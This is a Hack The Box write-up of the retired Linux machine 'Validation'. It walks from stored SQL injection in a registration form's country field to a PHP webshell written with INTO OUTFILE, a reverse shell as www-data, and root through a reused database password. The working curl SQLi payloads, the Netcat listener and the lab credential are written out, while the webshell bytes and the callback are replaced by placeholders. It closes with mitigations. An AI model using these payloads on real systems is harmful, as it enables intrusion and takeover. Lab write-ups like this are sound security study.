root@kali:~$ cat hackthebox/machines/validation.md

Hack The Box — Validation

Validation turns a stored SQL injection into MySQL FILE abuse, a PHP web shell, a www-data foothold, and root through reused database credentials.

Hack The Box Validation machine artwork showing a reviewer holding a clipboard
Platform
Hack The Box
Type
machine
Difficulty
Easy
Operating system
Linux
Solved
2 Sept 2026
Published
2 September 2026

Authorized-lab notice: This write-up documents the retired Hack The Box machine Validation. Its retired status was reconfirmed on 2 September 2026 before publication. Flag values, VPN data, session cookies and personal identifiers have been removed. The credential shown later belongs only to this retired lab and is necessary to explain the privilege-escalation path.

Introduction

Validation is an Easy Linux machine built around a short but instructive web-to-root chain. A registration form accepts a country value that later reaches a vulnerable SQL query. That stored input gives us a UNION SELECT primitive, metadata access through information_schema, and evidence that the application’s MySQL account holds the global FILE privilege. Writing a small PHP command runner into the Apache document root converts the database flaw into command execution as www-data. The final escalation is not a kernel exploit: a database password stored in the PHP configuration is reused by the local root account.

This article follows my actual solve. Commands containing <TARGET_IP> or <VPN_IP> are faithful sanitized equivalents of what I ran. The two immediately executable command-execution payloads are represented by descriptive placeholders so the repository does not become a live webshell or reverse-shell artifact.

Machine information

Item Value
Target Validation
Platform Hack The Box
Content type Machine
Difficulty Easy
Operating system Linux
Publication policy Retired
Solved 2 September 2026

The official Hack The Box Validation page identifies the target as an Easy Linux machine and marks it as retired.

Executive summary

I found four listening TCP services, with Apache on port 80 exposing a PHP registration application. The server trusted the submitted country value even though the UI presented it as a fixed dropdown. Injecting a UNION SELECT into that parameter and then loading account.php returned attacker-selected database results. I identified the registration schema, the effective MySQL account uhc@localhost, and its global privileges. Because the account held FILE, SELECT ... INTO OUTFILE wrote a PHP command runner into /var/www/html. That provided a reverse shell as www-data. Finally, /var/www/html/config.php disclosed the lab’s database password, and password reuse allowed su - to reach root.

Attack path

Stage Evidence Result
TCP enumeration Four open ports, including Apache on 80 Prioritized the PHP application
Form inspection POST fields username and country Identified the user-controlled attack surface
SQL injection UNION SELECT database() rendered registration Confirmed database result extraction
Privilege discovery USER_PRIVILEGES output included FILE Identified a server-side file-write path
Webshell PHP written with INTO OUTFILE Command execution as www-data
Reverse shell Callback to Netcat on port 4444 Foothold in /var/www/html
Local enumeration Credentials in config.php Found the MySQL password
Password reuse su - accepted the database password Root compromise

Environment setup

I worked from Kali over the HTB VPN. The examples omit the personal VPN address and session-specific target address:

export TARGET_IP='<TARGET_IP>'
export LHOST='<VPN_IP>'

The web workflow used separate cookie jars because the application associated each submitted registration with a user cookie before redirecting to /account.php.

Initial enumeration

I started with a full TCP scan and default scripts plus version detection:

nmap "$TARGET_IP" -T5 -sVC -p-

The useful results were:

22/tcp   open  ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http  Apache httpd 2.4.48 (Debian)
4566/tcp open  http  nginx (403 Forbidden)
8080/tcp open  http  nginx (502 Bad Gateway)

The aggressive -T5 timing caused Nmap to report that it had hit the retransmission cap, but the seven-minute scan still established the four listening ports required for the next step. Port 80 returned a real application, whereas the two nginx listeners returned error responses, so I moved to Apache.

Web application enumeration

I inspected the registration controls instead of assuming that the visible dropdown was safe:

curl -s "http://$TARGET_IP/" \
  | grep -Ei 'form|input|select|option'

The relevant HTML was:

<form action="#" method="Post">
  <input type="text" name="username" placeholder="Username">
  <select id="country" name="country">
    <option value="Brazil">Brazil</option>
    <!-- additional countries omitted -->
  </select>
</form>

The browser limits ordinary users to predefined countries, but HTTP clients are not bound by those options. Both fields remained attacker-controlled server inputs.

Vulnerability discovery

Extracting the active schema

I submitted a unique username and replaced the country with a single-column UNION SELECT payload:

curl -s -c schema.cookies \
  -X POST "http://$TARGET_IP/" \
  --data-urlencode 'username=schemacheck' \
  --data-urlencode "country=Brazil' UNION SELECT database()-- -" \
  > /dev/null

curl -s -b schema.cookies "http://$TARGET_IP/account.php" \
  | sed 's/<[^>]*>/\n/g' \
  | sed '/^[[:space:]]*$/d'

The important rendered value was:

registration

The POST returned 302 Found, set a user cookie and redirected to /account.php. Loading that page with the cookie caused the injected country to participate in the vulnerable query. This observed two-step behavior is consistent with stored, or second-order, SQL injection.

Identifying the database account

I repeated the pattern with CURRENT_USER():

curl -s -c dbuser.cookies \
  -X POST "http://$TARGET_IP/" \
  --data-urlencode 'username=dbusercheck' \
  --data-urlencode "country=Brazil' UNION SELECT CURRENT_USER()-- -" \
  > /dev/null

curl -s -b dbuser.cookies "http://$TARGET_IP/account.php" \
  | sed 's/<[^>]*>/\n/g' \
  | sed '/^[[:space:]]*$/d'
uhc@localhost

This was the effective MySQL identity used by the PHP application, not Apache’s Linux identity.

Enumerating global privileges

MySQL’s information_schema.USER_PRIVILEGES table represents each global privilege as a row associated with a GRANTEE. I grouped the application’s privileges into one value that fit the existing output column:

curl -s -c privileges.cookies \
  -X POST "http://$TARGET_IP/" \
  --data-urlencode 'username=privcheck' \
  --data-urlencode "country=Brazil' UNION SELECT GROUP_CONCAT(PRIVILEGE_TYPE) FROM information_schema.USER_PRIVILEGES WHERE GRANTEE=\"'uhc'@'localhost'\"-- -" \
  > /dev/null

curl -s -b privileges.cookies "http://$TARGET_IP/account.php" \
  | sed 's/<[^>]*>/\n/g' \
  | sed '/^[[:space:]]*$/d'

The long result included the decisive global privilege:

SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,...,FILE,...,CREATE USER,...

FILE enables operations such as LOAD_FILE() and SELECT ... INTO OUTFILE, subject to operating-system permissions and secure_file_priv. On Validation, MySQL could write into Apache’s document root, converting SQL injection into code execution.

Initial foothold

Writing a PHP command runner

I hex-encoded a minimal PHP runner to avoid shell expansion and nested-quote problems. The directly executable byte sequence is intentionally replaced here:

curl -s -c shell.cookies \
  -X POST "http://$TARGET_IP/" \
  --data-urlencode 'username=shellcheck' \
  --data-urlencode "country=Brazil' UNION SELECT <HEX_PHP_COMMAND_RUNNER> INTO OUTFILE '/var/www/html/validation-cmd.php'-- -" \
  > /dev/null

The public filename is also a sanitized equivalent of the personal filename used during the live solve.

The first 404 and the missing trigger

My first request to the PHP path returned 404 Not Found. The payload was valid; I had forgotten the second half of the application’s execution flow. The POST only stored the registration and issued the cookie. I still had to load the account page with that cookie:

curl -s -b shell.cookies "http://$TARGET_IP/account.php" > /dev/null

After that trigger, the file existed. Supplying the benign whoami command confirmed the web-server identity:

curl -sG "http://$TARGET_IP/validation-cmd.php" \
  --data-urlencode 'cmd=whoami'
www-data

The failure demonstrated that exploitation depended on the delayed account.php query rather than the registration POST itself.

Receiving a reverse shell

I opened a listener on Kali:

nc -lvnp 4444

I then supplied a Bash callback through the PHP runner. The live callback is represented by a placeholder so the published Markdown is not itself a copy-paste shell payload:

curl -sG "http://$TARGET_IP/validation-cmd.php" \
  --data-urlencode "cmd=<BASH_CALLBACK_TO_$LHOST:4444>"

The listener received the connection:

connect to [<VPN_IP>] from (UNKNOWN) [<TARGET_IP>] 45720
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$

Basic checks established the security context:

whoami
id
hostname
pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
validation
/var/www/html

Internal enumeration

Shell stabilization attempts

The common Python PTY technique failed because Python 3 was not installed:

python3 -c 'import pty; pty.spawn("/bin/bash")'
bash: python3: command not found

Setting TERM worked as an environment change, but stty could not operate on the raw Netcat input:

export TERM=xterm
stty rows 40 columns 120
stty: 'standard input': Inappropriate ioctl for device

I kept the basic shell and continued rather than claiming it had been stabilized.

User-level completion

The home directory contained one user directory and the user proof file:

cd /home/htb
ls
user.txt

I submitted the proof to HTB; its value is intentionally omitted.

Privilege escalation

The application directory was the most relevant place to search for database configuration and reused secrets:

cd /var/www/html
grep -RniE 'password|passwd|mysqli|mysql|PDO' . 2>/dev/null
cat config.php

The configuration contained:

<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

This credential belongs exclusively to the retired lab and is included because password reuse is the complete root cause of the final escalation. I tested it against the local root account:

su -

The password was accepted. Verification returned:

whoami
id
root
uid=0(root) gid=0(root) groups=0(root)

/root/root.txt was now accessible. I submitted the proof and omitted its value here.

What did not work

Attempt Observed result Adjustment
-T5 full-port scan Retransmission-cap warning and a long scan Retained confirmed ports and focused on port 80
Requesting PHP immediately after POST 404 Not Found Loaded /account.php with the cookie to trigger the stored injection
Python PTY upgrade python3: command not found Continued with the basic Bash shell
Manual stty sizing Inappropriate ioctl for device Avoided claiming a stabilized TTY

Key takeaways

  • A <select> element is a browser-side convenience, not a server-side security boundary.
  • Registration stored the payload, while account.php executed it in a later SQL context.
  • CURRENT_USER() and information_schema.USER_PRIVILEGES established identity and capability before file writes.
  • The MySQL account held privileges far beyond a registration application’s needs. FILE converted SQL injection into operating-system command execution.
  • The initial 404 did not disprove the payload. Reconstructing the state transition exposed the missing trigger.
  • Privilege escalation came from password reuse, not a sophisticated local exploit.

Mitigations

Weakness Defensive action
SQL injection in country Use parameterized queries and server-side allow-list validation
Delayed use of stored input Treat persisted data as untrusted whenever it re-enters an interpreter context
Excessive MySQL grants Use a dedicated least-privileged account and remove global privileges such as FILE, SUPER and CREATE USER
File creation in the webroot Configure secure_file_priv, isolate database filesystem access and prevent MySQL from writing executable web content
PHP command execution Monitor unexpected PHP files and child processes spawned by the web server
Credentials in configuration Use protected secret management and restrictive file permissions
Password reuse Generate independent credentials for the database and every operating-system account

Tools used

Tool Purpose
Nmap Full TCP, service and version enumeration
curl Form inspection, cookie handling, SQLi delivery and web interaction
grep / sed Focused extraction from HTML and command output
MySQL functions Schema, current-user and privilege discovery
Netcat Reverse-shell listener
Bash Callback shell and local enumeration

References